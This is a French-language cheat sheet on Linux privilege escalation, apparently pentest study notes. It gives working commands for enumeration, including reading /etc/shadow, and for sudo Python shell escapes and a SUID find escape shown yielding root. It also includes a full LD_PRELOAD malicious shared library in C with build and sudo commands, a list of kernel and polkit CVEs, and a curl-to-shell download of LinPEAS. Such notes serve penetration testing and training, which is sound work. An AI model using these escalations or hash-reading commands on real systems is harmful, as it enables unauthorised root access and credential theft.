Linux Privilege Escalation

2026-03-13#privesc#linux#suid#sudo#capabilities#enumeration

Enumération

ps aux | grep root # processus actifs en root ps au # utilisateurs connectés ls -l .ssh # contenu du répertoire SSH history # historique des commandes sudo -l # privilèges sudo de l'utilisateur cat /etc/shadow # hashes des mots de passe cat /etc/passwd # utilisateurs du système cat /etc/crontab # cronjobs planifiés lsblk # stockage disponible find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null # dossiers writables find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null # fichiers writables

Sudo

sudo -l # lister les commandes autorisées

Si python3 est disponible en sudo :

python3 -c 'import os; os.system("/bin/bash")' python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

SUID

GTFOBins — liste de binaires Unix exploitables sur les systèmes mal configurés.

Rechercher les binaires avec le bit SUID :

find / -perm -u=s -type f 2>/dev/null

Exemple avec find :

ls -l /usr/bin/find # -rwsr-xr-x 1 root root 311008 Jan 9 2021 /usr/bin/find find . -exec /bin/bash -p \; -quit # root💀hackerbox:~# id # uid=0(root) gid=0(root) groups=0(root)

Capabilities

Les capabilities permettent à un programme d'effectuer des actions privilégiées spécifiques sans être root.

whereis getcap /usr/sbin/getcap -r / 2>/dev/null # lister toutes les capabilities
CapabilityDescription
cap_setuidModifier l'UID effectif (inclus root)
cap_setgidModifier le GID effectif
cap_dac_overrideBypass les permissions fichiers
cap_sys_adminActions administratives système
cap_sys_ptraceAttacher et déboguer d'autres processus
cap_sys_moduleCharger/décharger des modules kernel
cap_net_bind_serviceBind sur des ports réseau
cap_net_rawCréer des sockets RAW et PACKET
cap_sys_chrootModifier le répertoire racine

Shared Libraries (LD_PRELOAD)

Voir les librairies d'un binaire :

ldd /bin/ping

Si sudo -l montre env_keep+=LD_PRELOAD, on peut injecter une librairie malveillante :

// escalate.c #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setresuid(0, 0, 0); system("/bin/bash -p"); }
gcc -fPIC -shared -nostartfiles -o /tmp/escalate.so escalate.c sudo LD_PRELOAD=/tmp/escalate.so /usr/local/bin/sys_backup

CVE notables

CVENomCible
CVE-2022-0847Dirty PipeKernel Linux ≤ 5.16.11
CVE-2021-4034PwnKitPolkit pkexec
screen 4.5.0Local privesc

Outils automatisés

# LinPEAS curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # LinEnum ./LinEnum.sh # Linux Smart Enumeration ./lse.sh -l 1 # Linux Exploit Suggester ./linux-exploit-suggester.sh
  • Exploit-DB — base de données d'exploits publics
  • Metasploit : use post/multi/recon/local_exploit_suggester